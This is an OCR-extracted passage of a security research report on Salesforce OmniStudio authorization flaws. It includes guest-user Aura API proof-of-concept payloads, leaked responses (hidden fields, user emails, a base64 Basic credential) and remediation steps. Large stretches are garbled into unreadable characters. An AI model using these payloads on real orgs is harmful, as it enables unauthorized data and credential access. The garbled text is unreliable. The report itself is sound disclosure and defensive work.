dcabtoac. $- AaSECfYcSzarsac. ¢aljSag¢.a z_.1-1la¢gBtc¢, BaYal- "ac.Caqgscsass AACB
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EXTRACT FORMULAS OUTPUT OPTIONS PREVIEW

Input Parameters Editas JSON  Response Performance Metrics - Browser: 706ms  Server: 178ms  Apex CPU: 84ms o Errors/Debug Output

Key Value { I Debuglog

’ "GuestsShouldntSeeThis__c": "ThisShouldBeHidden™

+ Add New Key/Value Pair } 2025-01-27T719:18:12.132Z: Query: SELECT
guestsshouldntseethis__c, id, isdeleted
FROM SomeObject__c WHERE IsDeleted =
false LIMIT 50000
2025-01-27T19:18:12.142Z: Query results
found: 1
2025-01-27T719:18:12.142Z: Query time: 10
2025-01-27T719:18:12.166Z: Time in Server:
175

Clear Data [ Ignore Cache m
# > FErrors

n

El1¢,.a¢,.Saqst¢tad8tsAACB2aa, Cct z4t ¢t a- UderatieqptBE exerlite itagain. THisftimd it isSuc@essfulSad iE Y S a ¢ a
re-<YaCzac,. ¢a, Cctzbqgta>B, _ag,. Satz_  1-°20aCESCIYqgl, - *aljl1-[Cac. laoaqgstctasdst AACBA
0.

eEYCacqgal . Y z-c¢cl¢¢ loarrf?a8laaBSqgYB- Sz

message= 22({

{"actions": [{"id":"16;a","descriptor":"aura://ApexActionController/ACTION$exe "actions": [
cute","callingDescriptor":"UNKNOWN","params":{"namespace":"omnistudiocore","c {
lassname":"BusinessProcessDisplayController","method":"GenericInvoke2NoCont", 1A% 188",
“"params":{"input":"{\"Bundle\":\"GetSensitiveValues\",\"DRParams\":{}}","opti "state":"SUCCESS",
ons":"{\"useQueueableApexRemoting\":false,\"ignoreCache\":false,\"vlcClass\": "returnValue":{
\"omnistudio.DefaultDROmniScriptIntegration\",\"useContinuation\":false}","sC recarnvacae s
lassName":"omnistudiocore.DefaultDROmniScriptIntegration","sMethodName":"invo "{\"0BDRresp\":{\"GuestsShouldntSeeThis__c\":\"ThisShoul
keOutboundDR"},"cacheable":false,"isContinuation":false}}]} BeHidden\"},\"error\":\"0K\"}",

&aura.context= L boashlpiiutiad

Risk
When this is combined with the security concerns that are discussed in other sections, such as the bypassing of FLS or a Data
St AAC B2 a a sthislcanresult i the disclosure of sensitive data to internal or external individuals. Its cache entry is also

refreshed upon each successful execution by any other user, which could result in unauthorized access to the Data Mapper or
Integration Proce dure for an extended period of time.

Recommendation

Unfortunately there is no configuration setting that allows for the use of the Scale Cache while also respecting Data Mapper security
controls. After thorough testing, including the enablement of the CheckCachedMetadataRecordSecurity OmniStudio setting, it was
revealed that the only way to enforce authorization checks for Data Mappers is to turn the Scale Cache off completely. Please note
that this may result in a performance degradation for both Data Mapper and IProc executions. To disable the Scale Cache |, follow
these steps:

1. From Setup, enter Omni Interaction Configuration and select Feature Settings > Omni Interaction > Omni Interaction
Configuration

2. Select New Omni Interaction Configuration

3. Inthe Label field, enter TurnOffScaleCache . Withinthe Value field, enter true .

4. Click Save.

13
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https://help.salesforce.com/s/articleView?id=sf.os_turn_off_the_scale_cache_55140.htm&language=en_US&type=5

5.2 Integration Procedures

5.2.1 Permission Override for Contained Actions

Overview

- ¢a, >ac¢.%a_. oaca- ¢t car¢.tj1v Boa, »aayB, [aablc¢,. aBSoaASC[cag, s&th®. 1 aal -
nor the Sharing Rules of any Data Mapper or other IProc  that they call as part of their actions . If a user executes an IProc, which

contains another IProc and/or a Data Mapper as an action, the user must only satisfy the access controls (if any) on the init ial IProc

being executed. In other words, the permission requirement of the calling IProc over rides the permission requir ements of the called

actions. This behavior is documented by Salesforce

=
-

P
.

A

o No Permission o Regquired Permission
Required Not Checked

r

>

A

o Execute Integration o Execute another IP as an Fetch Sensitive Data using
Procedure Action Authenticated Web Request
e [€

>Llntegra1ion Procedure J >Llntegrati0n Procedur J >

User Sensitive External API

Practical Demonstration

Setting Up
O - aayB [vaey(CB>YBPEGRAfBTLIcYzab. 1[.4a_ 4t Coaat-abtYg.S-¢lftcSzaBsYYCacgac
ac a

BCaY ca=* .
yeB, Taal, - @

Bag,. CaAYBA aCaa, >aBSAB, zY[ ¢l -Vvag.laa¢-zA 1-caaoed, A© SaBS¢
a a>,
eft”" " zZ¢,.¢BaysvabtaalBSCt¢SzabPl¢g, a-,  ae5¢yYY1BCzayse¢Bndlaal - 22

Pt acaSo Sac azg  1a¢l. okcaBtlicsoB? aAB. >1" ¢*+a ~ "~ a> B_aa, >aftf . 1- " apCB!¢

0 - aayB [Vva
returns the result. All forms of caching were disabled.

0 alj.+B1- " a5Y CabtaafB¢t¢Szacg, a8 Bt-cac. CaEYCoacaa&asBas [ [ Saaacg, aefs” " 2
E1¢.ac¢.laaf ->1"YBtc¢l, -Vvac.SBCastBSaghb, a> B_oa, >atf[Caoaaadaf -¢B Tha_  ¢f[ . t-1
>1Bacgalaoac, Satra¢-[Ca >atal.+t+B1-"as3Y" ¢a Bag. CAaEYCoaca&®aCBste - zag. Caac [

z.1-1lag¢Bt ¢, B@2*a
Proof - Of-Concept
An unauthenticated Guest User session was established on the Digital Experience. Using this session, the following payload wa s run
¢. ACSECJYcCac,. Caeft" " 2¢c,.CBay2aayB, [?9
{
"actions": [
{
“id" "16;a",
"descriptor": "aura://ApexActionController/ACTIONS$execute",
“callingDescriptor": "UNKNOWN?",
"params":  {
"namespace”: "omnistudiocore”,
"classname™:  "BusinessProcessDisplayController”,
"method™: "Genericlnvoke2NoCont",
"params™:  {
"input": {1,
"options":
"{ \"useFuture \™false, \"chainable \"false, \"preTransformBundle \": \"\", \"postTransformBundle \": \"\", \ "useQueueableApexRemoting \
"false, \"ignoreCache \™false, \"vicClass \": \"omnistudiocore.IntegrationProcedureService \'", \"useContinuation \ ":false}",
"sClassName": "omnistudio.IntegrationProcedureService",
"sMethodName": "CallOtherlP_CallOtherlP"
h
"cacheable":  false,
"isContinuation": false
}
}
]
}
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https://help.salesforce.com/s/articleView?id=sf.os_syntax_of_the_required_permission_property_56644.htm&language=en_US&type=5#:~:text=When%20an%20Integration%20Procedure%20calls,Data%20Mapper%20or%20Integration%20Procedure

¢S¢BaBY-- 1- "ag atr.jsvalgabptaa
ladaft" " 1- '"vat-zast[[CSaoaaalaa’
message=

{"actions": [{"id":"16;a","descriptor":"aura://ApexActionController/ACTIONSex
ecute","callingDescriptor":"UNKNOWN", "params":{"namespace":"omnistudiocore",
"classname":"BusinessProcessDisplayController","method":"GenericInvoke2NoCon
t", "params" :{"input":"{}","options":"{\"useFuture\":false,\"chainable\":fals
e,\"preTransformBundle\":\"\",\"postTransformBundle\":\"\",\"useQueueableApe
xRemoting\":false,\"ignoreCache\": false,\"vlcClass\":\"omnistudiocore.Integr
ationProcedureService\",\"useContinuation\":false}","sClassName":"omnistudio
.IntegrationProcedureService","sMethodName":"CallOtherIP_CallOtherIP"},"cach
eable":false,"isContinuation":false}}]}&aura.context=
%7B%22mode%22%3A%22PR0OD%22%2C%22 fwuid%22%3A%22eUNJbjV5czdoe jBvRLASOHpDU1dPd1
PMVExBQkpJS1VFU29Ba3 ImcUNLWLESL jMyMC4y%22%2(%22app%22%3A%22siteforce%3Acommu
nityApp%22%2(%221loaded%22%3A%7B%22APPLICATION%4@markup%3A%2F%2Fsiteforce%3Ac
ommunityApp%22%3A%221184_AgcTXn_6dZSShHXZ2PZsug%22%7D%2C%22dn%22%3A%5B%5D0%2C
%229lobals%22%3A%7B%7D%2(%22uad%22%3Atrue%s/D&aura. pageURI=%2Ftestsite%2Fs%2F
&aura.token=null

y¢B, Taal, - azj¢BB1z¢a,

Risk

>aeft” " zZ¢,. CBayea

MetadataCache\":false,\"isDebug\":false,\"queueableChain
able\":false,\"useContinuation\":false,\"chainable\":fal
se,\"useHttpCalloutMock\": false,\"useQueueableApexRemoti
ng\": false}, \" r g it eeaaiilaba | Lout\" : {\"Perfor
m_Web_Request\”I\"Something Sensitive\q{,\"response\":{},
\"Perform_Web_chu-:;uu-u\ T A YOKA " , \"statusC
ode\":200,\"x-token-id\":\"c38d2350-c489-4aee-90e3-14bd3
@cedb4d\" ,\"cache-control\":\"no-cache, private\",\"cont
ent-type\":\"text/html; charset=UTF-8\",\"transfer-encod
ing\":\"chunked\",\"server\":\"nginx\",\"x-request-id\":
\"946b5aa2-e047-4665-8Baec-dd6f@25c7ced\",\"date\":\"Wed,

15 Jan 2025 11:57:47 GMT\"},\"ResponseActionlStatus\":t
rue,\"Perform_Web_RequestStatus\":true,\"options\":{\"vl
cFilesMap\":null,\"forceQueueable\":false,\"mockHttpResp
onse\":null,\"ParentInteractionToken\":null,\"useFuture\
":false,\"isTestProcedure\":true,\"useQueueable\": false,

Organizations may have widely accessible IProcs that call upon powerful actions under the misconception that the permission

N

BCYYIBS. €- qaa, >ast”~ " a,

>at- aayB [2o0atf ¢l -oabPl1”" arcacjt- YtqgCza> B

¥

0 A Data Mapper Extract Action  which bypass es FLS (as discussed in )
0 An Integration Procedure Action , this other IProc may:
o Perform authenticated remote calloutsto  sensitive external APIs.
o Call a Remote Action Apex class which does not enforce sharing rules (later discussed in )
Recommendation(s)

While it is understandably imperative to lock down access to all IProcs, the importance of this is emphasized further when co
that seemingly innocuous IProcs may inadvertently grant access to powerful Data Mappers or other IProcs by including them

of its actions.

To truly enforce the principle of least

-privilege, | recommend the following steps:

nsidering
as part

1. Implement the DefaultRequiredPermission setting. Organizations may set this permission to that of a Profile or PermSet that

only internal users possess.

a. Inthe Quick Find box, search for Omni Interaction Configuration

Omni Interaction Configuration

b. Select New Omni Interaction Configuration

c. Forthe Label field, type DefaultRequiredPermission.
permission to be set.

d. Click Save.

For the Value field, using the required syntax

and select Feature Settings > Omni Interaction >

, enter the default

2. For any IProc that must be executed by an external user or Guest User, evaluate the nature of its actions before granting

access.

3. Ifthese actions do not facilitate any of the possible dangers mentioned in the

permission identifiers for external entities to the *IProcs
a. From Service Setup , open the App Launcher
Enter OmniStudio Integration Procedure

Once opened, select Create Version

Select the first action, Procedure Configuration
*Under Properties > Required Permission (Optional),
Permission Set using the required syntax

g. Select Activate Version

-0 oo0CT

Required Permission

Locate the IProc you wish to open up access to. Select it, and choose the

Risk section, the organization may choose to add
field.

and select OmniStudio Integration Procedure

latest version

enter the name of the Guest User Profile or their assigned

xdada>ac., £aes5<YYI] BS zay$ Bismaited, the peanissiofi idepidiers fa mterdabugeB mfist also be included in this

field to retain their access.

5.2.2 Hardcoded Credential Disclosure in HTTP Actions

Overview

IProcs allow for the creation of a HTTP action which can be used to perform remote callouts to an external site. The general
of these actions is to integrate with organization APIs outside of Salesforce using REST calls, with the ability to read f

write to them. As part of these callouts, organizations may configure authentication properties in the event that access cont
on the API being called. For a generic API which requires the existence of an authentication header, organiz

use-case
rom them or

rols exist
ations may choose to

either leverage a Named Credential (with an External Credential present) to authenticate and perform the query, or they may decide
to hardcode the authentication information such as username/password or access tokens within a REST header or body of the IPr oc.
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https://help.salesforce.com/s/articleView?id=xcloud.os_dataraptor_and_integration_procedure_security_settings_56587.htm&type=5
https://help.salesforce.com/s/articleView?id=xcloud.os_syntax_of_the_required_permission_property_48272.htm&type=5
https://help.salesforce.com/s/articleView?id=xcloud.os_syntax_of_the_required_permission_property_48272.htm&type=5
https://help.salesforce.com/s/articleView?id=sf.nc_named_creds_and_ext_creds.htm&language=en_US&type=5

The issue with hardcoding credentials within the IProc is that anyone who can execute it can also see the values stored within these
fields . There are two ways through which this can happen depending on the identity of the executing user:

1. For anyone either internal or external thatis  not the Guest User, they may use
ej S ¢fctr” SR1acqbtchtyB, j1zS¢Bf BacaBl "1 B3R ¢f (BAEYIS B SKacaaycBs feeeaaf  BBSCaA, - z1-
NljzZdaj s~ YCa. > acpntehtafield yill be thehardcaded credential.  More concerningly, if an external user such as a
Community Site User has access to an IProc through EOWD or Sharing Rules/Sets, but cannot actually execute the IProc

zYCacg, algcoaedSVYYIBSCzay<¢B, Taal, -llbedlsclesed.1 " YBt ¢1 - Vvag,. laaztctabl”™ ™ aacg]l
2. The Guest User does not have access to query the OmniProcessCompilation sObject due to a baked -in restriction of
elj¢" ¢Cfc¢t " CRl1TaggtcgtyB, jl1z¢Bf - ¢B, "~ ¢B2*aBR pPCjCBvag. ¢Sa.tjCptg, Catr1°

out the hardco ded credential in the response after its execution.

Practical Demonstration

Setting Up
To prepare for the first scenario (1) mentioned above:
0 An IProc was created with an embedded Basic Authentication credential in one of its HTTP actions. It was then restricted
Yal- "ac¢. €aes5¢YY1IBCzay<e¢B, 1laal, -2a>1¢"zacg¢,  a, -".sat”~"  pbacg,. CaljSact¢_ a z_1

To prepare for the second scenario (2) mentioned above:
0 aaC[ - zaayB [abtoa[BStqgSzablg, at-2alz¢-c¢l1fs"asfc¢cl -af, ->1"YBtgl - at
e5¢YYITBSzay¢B, laal -°2a>16¢"zaBSag¢B1f{ ¢l - aaABCa€C-¢*a
0 The Guest User was granted access to this IProc through Sharing Rules.

Proof of Concept

To demonstrate the first (1) possible avenue through which credentials could be leaked, a session was established for a user with the

zljaffayB, >1"¢a, - ac.Saqgl1 ' 1¢+t” a|EACBIC¢-[Cr*ra®@al-"a¢, laaaCaal, -thodwasCacel¢” ¢
AB j1z¢zac¢,.Sa-4+_¢a >ac.¢a.r ¢fcaBSaA -oaolr~ ¢a> Baag, B1- " aayB theéBS[ BzavV
record belonging tothe firstlProc 8a4f BSt ¢S za1- a¢. CABSaA - aSvalgabtaoaa- c¢Sisdogedt cac,. anrnUUya

icateName\":\"\",\"xmlEscapeResponse\":fa
message= " ", "y ", "
{"actions": [{"id":"123;a","descriptor":"serviceComponent://ui.force.componen
ts.controllers. lists.selectableListDataProvider.SelectableListDataProviderCo

ntroller/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNam

ams\":{},\"headers\":{\"Basic\":\"QWRtaW4
6QWRtaW4xMjM=\"}},\"retryCount\":0,\"res%

CLNoUuUN NV OLT\ , UV TESUFacinty .\ TMLLpsS./7/

e0rId":"OmniProcessCompilation","layoutType":"FULL","pageSize":100,"currentP ebhook.site/c38d2350-c489-4aee-90e3-14bd3
age":2,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}& 0cedb4d\",\"postActionLogging\":\"\",\"pr
aura.context= ] ] eActionLogging\":\"%endpoint%\",\"sendJS0O
To demonstrate the second (2) method, the previous session was replaced with that of an unauthenticated Guest User. A previous
payload , which executes a given IProc, was modified so that it would execute the second IProc | created in debug mode . This was

donebyadding ' TagQf ¥¢BY®Rl1caae Acl. - a2a_tA*

{
"actions™: [
{
"id": "16;a",
"descriptor": "aura://ApexActionController/ACTION$execute",
"callingDescriptor": "UNKNOWN",
"params": {
"namespace": "omnistudiocore”,
"classname": "BusinessProcessDisplayController",
"method": "Genericlnvoke2NoCont",
"params": {
"input": "{}",
"options™
"{ \"useFuture \"false, \"chainable \"false, \"preTransformBundle \": \"\" \"postTransformBundle \": \"\", \"useQueueableApexRemoting \
"false, \"ignoreCache \"false, \"isDebug \":true, \"vicClass \": \"omnistudiocore.IntegrationProcedureService \", \"useContinuation \"
false}",
"sClassName": "omnistudio.IntegrationProcedureService",
"sMethodName": "PerformWebCallout_PerformWebCallout"
3
"cacheable": false,
"isContinuation": false
}
}
]
}
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| ECfYcl- "a¢.l1aaBSayY ¢¢zal-ac¢.%azlaf~ aYB¢a, >ac.¢anrU0yasfcl -20afBCZS- ¢

message= ,\"useQueueableApexRemoting\":false},\"response\":{},\"P
{"actions": [{"id":"16;a","descriptor":"aura://ApexActionController/ACTIONS$ex erform_Web_RequestStatus\":true},\"Perform_Web_RequestDe
ecute","callingDescriptor":"UNKNOWN","params":{"namespace":"omnistudiocore", bug\”'{\"ElapsedTlme\"'187 \"Type\"'\"Rest Actlon\“ \”In
"classname":"BusinessProcessDisplayController","method":"GenericInvoke2NoCon -
t","params":{"input":"{}","options":"{\"useFuture\":false,\"chainable\":fals 4868 90e3-14bd30@cedb4d\", \"headers\“'{\“Authorlzatlon\
e,\"preTransformBundle\":\"\",\"postTran ',\"useQueueableApe \“Basxc QWRtaW460WRtaw4xM]M \“)) \“Status\“'true} \“Pe
xRemoting\":false,\"ignoreCache\":false,l“isDebug\“:true, "vlcClass\":\"omni .
studiocore.IntegrationProcedureService\"} h\":false}","sClass Requestlnfo\“ {\“status\" \"OK\“ \“statusCode\“ 200 \“x
Name":"omnistudio.IntegrationProcedureService","sMethodName":"PerformWebCall -token-id\":\"c38d2350-c489-4aee-90e3-14bd30cedb4d\",\"c
out_PerformWebCallout"},"cacheable":false,"isContinuation":false}}]}& ache-control\":\"no-cache, private\",\"content-type\":\"
aura.context= text/html; charset=UTF-8\",\"transfer-encoding\":\"chunk
%7B%22mode%22%3A%22PR0OD%22%2 (%22 fwuid%22%3A%22eUNJIbjV5czdoejBvR1AS0HpDU1dPd1 ed\",\"server\":\"nginx\",\"x-request-id\":\"fd7a3af7-a6
PMVEXxBQkpJS1VFU29Ba3 ImcUNLWLESL jMyMC4y%22%2C%22app%22%3A%22siteforce%s3Acommu 71-4c74-91f3-db4845815efd\", \"date\":\"Wed, 15 Jan 2025
nityApp%22%2(%221oaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3Ac 17:40:33 GMT\"},\"executionSequence\": [\"Perform_Web_Req
ommunityApp%22%3A%221184_AgcTXn_6dZSShHXZ2PZsug%22%7D%2(%22dn%22%3A%5B%5D%2C uest\",\"ResponseAction1\"],\"ResponseActionlStatus\":tr
%229 1lobals%22%3A%7B%7D%2(C%22uad%22%3Atrue%7D&aura. pageURI=%2Ftestsite%2Fs%2F ue,\"fullDatalson\":{\"Perform_Web_Request\":\"Something
Saura.token=null Sen51t1ve\“ \“Perform Web RequestInfo\“'{\“status\“'\“O
While this is not as concerning as the first scenario because of the requirement for the Guest User to actually have permissi ons to
execute the IProc, it still poses a security risk. For example, the IProc may be configured to strictly query a non -sensitiv e path of an
endpoint, but the credentials being used may have access to different paths and resources which contain sensitive data. A mal icious
actor could query these alternative paths with the credentials now in -hand.

Risk

€- alc¢ljSal-> B_t¢l, - aaoYf.atoa yaa $Soa Ba[fB¢zC¢-¢lt”  adc¢.tca_ ta&bg Cac,_ ¢
leaked to unauthorized internal and external parties. This could result in their theft, and subsequently the misuse of extern al
organization APIs. The risk of this is heightened knowing that external identities such as OS CC Profile users may access thi s data

BSC tBz” Saoaaca, >ag. ¢aed5¢YY1B¢zay¢B, laal -2af - >1"YB¢za, -acg.SaayB,_ [ =

Recommendation(s)

It is advised to utilize Named Credentials for any form of authenticated callout in HTTP actions as opposed to directly embed ding
credentials within actions themselves. Not only is this superior as a means of centralized authentication management for APls , italso
prevents the disclosure of credentials in both cases that were previously provided within this section.

U af - >1'"YBCastaids, €zafBSzC-¢14t" a> Bat- aayB [eaarRUU0yatfcgl, -39
1. Follow the official Salesforce instructions for creating Named Credentials and External Credentials. One important item to note

that is not covered within the documentation is that the Named Credential must have the value of the Allowed Namespaces
for Callouts field setto omnistudio

2. Once complete, navigate to  Service Setup and open the App Launcher
3. Enter OmniStudio Integration Procedure and select OmniStudio Integration Procedure
4. Locate the IP you wish to modify. Select it, and choose the latest version
5. Once opened, select Create Version
6. Select the HTTP action.
7. Under Properties > Named Credential, enter the name of the Named Credential.
8. Directly below, expand REST Options , and remove any credentials within the  Headers or Params fields.
9. Select Activate Version
Deactivate and delete  all previous versions of the IP, as inactive versions can still disclose previously embedded credentials when

¢.Caez_ - 1yB, [Coaaf, _ A1 tc¢l_ -°2a [ Sfcaloaat | | SofecéngeptyYal- "a_ C¢. zaTt|vaa, b-

5.2.3 Invoking Arbitrary Callable Apex Without Explicit Permissions

Overview

Remote Actions are one of the many data source types that can be used by FlexCards and IProcs. They allow for the execution o f
special Apex classes by these components. This is an extremely useful feature as it allows for complex operations on user -supplied
values.

In order for an Apex class method be queried using a Remote Action, it must fit the following criteria:

1.
2.

N

U. ¢a AQEéf"Luaé[QL'aIL"”Qzé Yagal A~ ¢_¢C-¢qgacg.Caej” [1¢S AC-1-¢SB>t{
U a ACEaf " taaarpr€l- "afst" " Cza_. Yacal,_ atdnf@msqihdhe Expeetddsipnaiur€ § Sandthez @ a> Y- [ ¢
target Apex method to execute via the Remote Action must be handled and called through this function.
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https://help.salesforce.com/s/articleView?id=sf.nc_named_creds_and_ext_creds.htm&language=en_US&type=5
https://help.salesforce.com/s/articleView?id=sf.os_remote_action_13618.htm&language=en_US&type=5

An example of an Apex Class being created properly for usage as a Remote Action can be seen below:

global with sharing class ExampleCallableAction implements Callable {
public Object call(String methodName, Map<String, Object> args) {

return invokeMethod(methodName,input,output,options);

public Boolean invokeMethod(String methodName, Map<String, Object> input,
Map<String, Object> output, Map<String, Object> options) {

if (methodName.equals(‘doSomething')) {

return doSomething(input,output));

}

return false;

private Boolean doSomething(...{

output.put(‘'resp’,...);
return true;

}
}
When an OmniStudio component attempts to execute the above through a Remote Action, it will proxy its execution through the
erYal- CaayB, [CaagqlaA” £t Sf - ¢B, "~ ¢Bea ACEAf -  taoadc.tcaCElacaoablghasl- ar. ¢. a
methods exposedto ¢ . $a YBta yavaoYf.atoaeEGC-C¢B1f4&a-j . €10, f - c2vac.tcat" "~ ba> B

Action Apex and return a result.

Thedangerof " Yal- Saay B, [CaaqgqlaA” t+Sf - ¢B,~"¢CBeaaEC-CB1[fa-j.  S1d, f -ca_Cc¢., zal
not validate if the calling user has permission to access the Remote Action Apex . In other words, it allows for the execution of

methods within an Apex Class with arbitrary parameters and values by unauthorized users, as long as it conforms to the Remote

Action criteria outlined at the beginning of this section. This results in an aut horization bypass which may allow for both internal and

external users to execute powerful Apex code that runs without sharing or does not implement security measures such as FLS. And

as of current, this is the default behavior

Below is a visual aid to assist in understanding the danger of this behavior. It demonstrates how an external user may misuse this
issue to execute a powerful Apex class that they have not been given explicit access to.

© | Restricted Page b =S

E public without sharing class AdminOnlyApex implements Callable{

» Restricted Integration Procedure — Remote Action Call global Boolean invokeMethod(...){

' ' ' . if (methodName.equals('dangerousFunc'){ dangerousFunc(..) }}...
Admin User ; : I

A

© ! AuraAPI b

E —»| BusinessProcessDisplayController

: Public Page b

P b public with sharing class NonSensitiveApex implements Callable{

— > Public Integration Procedure —+————Remote Action Call global Boolean invokeMethod(...){

' ' P if (methodName.equals(‘safeFunc')){ safeFunc(..) }}...

External User

Unauthorized external user leveraging BusinessProcessDisplayController to access powerful apex
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In the above diagram, an external user has permission to interact with a public IProc which uses a Remote Action to access a non-

aS-alcg¢lj¢a ACEaAf -  taoaraBlR PCjCBvacg. CACECSB-3t" aYaSBaz1BS[ ¢ SafAapex aae "Yal-

even though they have not been explicitly granted access to it through Apex Class Access of their Profile / Permission Set(s)

Practical Demonstration

Setting Up
6 -4a ACEafl " taaae z_1-2-"S ACE@?vabtaoaabBlgg¢S-ab.1f.al1_ A"
tCaYaSzataatass, . ¢¢a [c¢1 -2aU0,.1708f  taodaz, Saad-_ cag
returns the email addresses of all users.
0 The Guest User was not given access to the Apex Class

Proof - Of-Concept

An unauthenticated session was established for the Guest User on the Digital Experience. The following payload was then execu ted
by the Guest User.

"actions": [
{
"id": "16;a",
"descriptor": "aura://ApexActionController/ACTION$execute",
"callingDescriptor": "UNKNOWN",
"params": {
"namespace": "omnistudiocore",
"classname™: "  BusinessProcessDisplayController",
"method": "Genericlnvoke2NoCont",
"params": {
"input": "{}",
"options":
"{ \"preTransformBundle \": \"\" \"postTransformBundle \": \"\", \"useQueueableApexRemoting \ ":false, \"ignoreCache \":false, \"vicClass
\ " \"AdminOnlyApex\ ", \ "useContinuation \ ":false}",
"sClassName": "AdminOnlyApex",
"sMethodName": "dangerousFunc"
3
"cacheable": false,
"isContinuation": false

A breakdown of the modifiable parameters in the above are as follows:

0 sClassName & vicClass - The name of the Apex Class to be called that is exposed as a Remote Action
6 sMethodName -U. ¢a_  C¢. zac¢, aft~ " aplc¢g,.1-ac¢.€a5¢.  ¢Sa [c¢l1 -*+aElc¢c.1- a4ac
P1¢, 1-ac,.¢ael-j ~¢8C¢. z?2a>Y-[¢l -4al-a BzS¢Bac, arsasffCaalyr” Cac.
O input -Key-At 1Baa, >aAtBt_  C¢SBaadt-zajtst” YCaa> B.tccgSzastaaNljziac.t¢catBsavYas

to sMethodName. Not used for this PoC. If parameters were required, a parameter with a string value could be inserted into
this map a s \"exampleParam1 \":\"exampleValuel \k

ay Qs

]

ul

_<—h

>cCBac. CaAAs S  tz°aaCESC[Ygl, -vabCaft-aaSCac.tcac.CaCESfYcgl, - abfteoddaaY[ [ ¢

Apex method:

......

. ervices/data «0/500D)¢€ usSe
M\"},\"Email\":\"noreply@example.com\",
000j0EpAAM\"}, {\"attributes\":{\"type\":\"User\",\"url\
:\"/services/data/v62.0/sobjects/User/005d1000000j 0EqAA
\"},\"Email\":\"noreply@example.com\",\"Id\":\"005d1000
00j0EqAAM\"}, {\"attributes\":{\"type\":\"User\",\"url\"

message=
{"actions":[{"id":"16;a","descriptor":"aura://ApexActionController/ACTIONS$ex
ecute","callingDescriptor":"UNKNOWN","params":{"namespace":"omnistudiocore",
"classname":"BusinessProcessDisplayController","method":"GenericInvoke2NoCon
t","params": {"input":"{}","options":"{\"preTransformBundle\":\"\",\"postTran
sformBundle\":\"\",\"useQueueableApexRemoting\":false,\"ignoreCache\": false,
\"vlcClass\":\"AdminOnlyApex\",\"useContinuation\":false}","sClassName":"Adm \"/services/data/v62.0/sobjects/User/005d1000000j0ErAAM
inOnlyApex","sMethodName":"dangerousFunc"},"cacheable":false,"isContinuation "}, \"Email\":\"noreply@example.com\",\"Id\":\"005d100004
":false}}] }&aura.context= 0jO0ErAAM\"}, {\"attributes\": {\"type\":\"User\",\"url\":
%7B%22mode%22%3A%22PROD%22%2(%22 fwuid%22%3A%22eUNJIbjV5czdoejBvR1AS0HpDU1dPd1 "/services/data/v62.0/sobjects/User/005d1000000j TtxAAE\'
pMVExBQkpJS1VFU29Ba3 lmcUNLWLESL jMyMC4y%22%2(C%22app%22%3A%22siteforce%s3Acommu },\"Email\":\"test_site@00dd1000004nkbpeao.org.force.co
nityApp%22%2C%221loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3Ac \",\"Id\":\"005d1000000;j TtxAAE\"},{\"attributes\": {\"ty(
ommunityApp%22%3A%221184_AgcTXn_6dZSShHXZ2PZsug%22%7D%2(%22dn%22%3A%5B%5D%2C e\":\"User\",\"url\":\"/services/data/v62.0/sobjects/Us§
%22globals%22%3A%7B%7D%2C%22uad%22%3At rue%s7D&aura. pageURI=%2Ftestsite%2Fs%2F r/005d1000000mhibAAA\"},\"Email\":\"aaron+123@appomni. cq

d

&aura.token=null —— — - e ekl iy
Risk

Apex classes can perform powerful CRUD operations , and in some cases may not enforce access control checks at the object, field,

or record levels. In the event that such an Apex class exists and implements one of the callable interfaces, both internal an d external

users can execute it with arbitrary input  , even though they have not had the Apex Class assigned to their Profile / Permission Set(s).
This could result in modification, destruction, or disclosure of data by unauthorized parties.
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Recommendation(s)

The ability to execute callable Apex code without being given explicit permission(s) to do so is behavior that is enabled by default . To
enforce authorization checks for callable Apex Classes, a specific configuration must be created and enabled

1. From Setup, in the Quick Find box, enter ~ Omni Interaction Configuration , and select Omni Interaction Configuration
2. Click New Omni Interaction Configuration
3. In Name and in Label, enter ApexClassCheck
4. In Value, enter true .
Once configured correctly, any future attempts by a user to directly execute a callable Apex class without being granted expl icit

access will fail.

message=
{"actions":[{"id":"16;a","descriptor":"aura://ApexActionController/ACTIONS$ex
ecute","callingDescriptor":"UNKNOWN","params":{"namespace":"omnistudiocore",
"classname":"BusinessProcessDisplayController","method":"GenericInvoke2NoCon
t","params" : {"input":"{}","options":"{\"preTransformBundle\":\"\",\"postTran
sformBundle\":\"\",\"useQueueableApexRemoting\":false,\"ignoreCache\": false,
\"vlcClass\":\"AdminOnlyApex\",\"useContinuation\":false}","sClassName":"Adm
inOnlyApex","sMethodName":"dangerousFunc"},"cacheable":false,"isContinuation
":false}}] }&aura.context=

%7B%22mode%22%3A%22PR0OD%22%2(%22 fwuid%22%3A%22eUNJIbjV5czdoejBvR1AS0HpDU1dPd1
pPMVExBQkpJS1VFU29Ba3 lmcUNLWLESLjMyMC4y%22%2C%22app%22%3A%22siteforce%s3Acommu
nityApp%22%2C%2210aded%s22%3A%7B%22APPLICATION%40markup%s3A%2F%2Fsiteforce%3Ac
ommunityApp%22%3A%221184_AgcTXn_6dZSShHXZ2PZsug%22%7D%2(%22dn%22%3A%5B%5D%2C
%22globals%s22%3A%7B%7D%2(C%22uad%22%3At rue%s7D&aura. pageURI=%2Ftestsite%2Fs%2F
&aura.token=null

ca

22 {
"actions": [
{
id® s 16,
"state":"SUCCESS",
*ret e
"returnValue":
"{\"error\":\"User does not have permission to access Ap|
exClass: AdminOnlyApex.\"}",
ULlC « TQLOT
H
“"error": [
]
}

Unauthorized Guest User can no longer execute Apex without explicit permissions

ANCpPtBCAg,.tcat>cSBacC- st 1- " ae ACEf " toaaf.C[ @2valceoaaA aoalr Gamépet ca ¢ 1¢1l.

Classes which can result in FlexCards and IProcs no longer functioning for them. To re -grant this access:
1. *From Setup, enter Profiles inthe Quick Find box, then select Users > Profiles
2. Select the profile to grant access to.
3. Select Apex Class Access
4. Click Edit.
5. Select the Apex classes that you want to enable from the Available Apex Classes list  and click Add .
6. Click Save.

*To grant access using a Permission Set instead of a Profile: From
Users > Permission Sets

Setup , enter Permission Sets in the Quick Find box, then select

5.2.4 Circumventing Permission Checks Through Scale Cache

Overview

which plagues Data Mappers also affects IProcs, wherein the metadata of an IProc is stored insecurely within the Scale Cache after

its first authorized execution. Due to this similarity, refer back to

Practical Demonstration

Setting Up

(@]

Section 5.1.3 for the technical details.

- aayB, [aest Cfst° "  YgeabtoaafBSCtcgCzablcg,?d

0 AHTTP action. This HTTP action calls a remote API using an access token that it
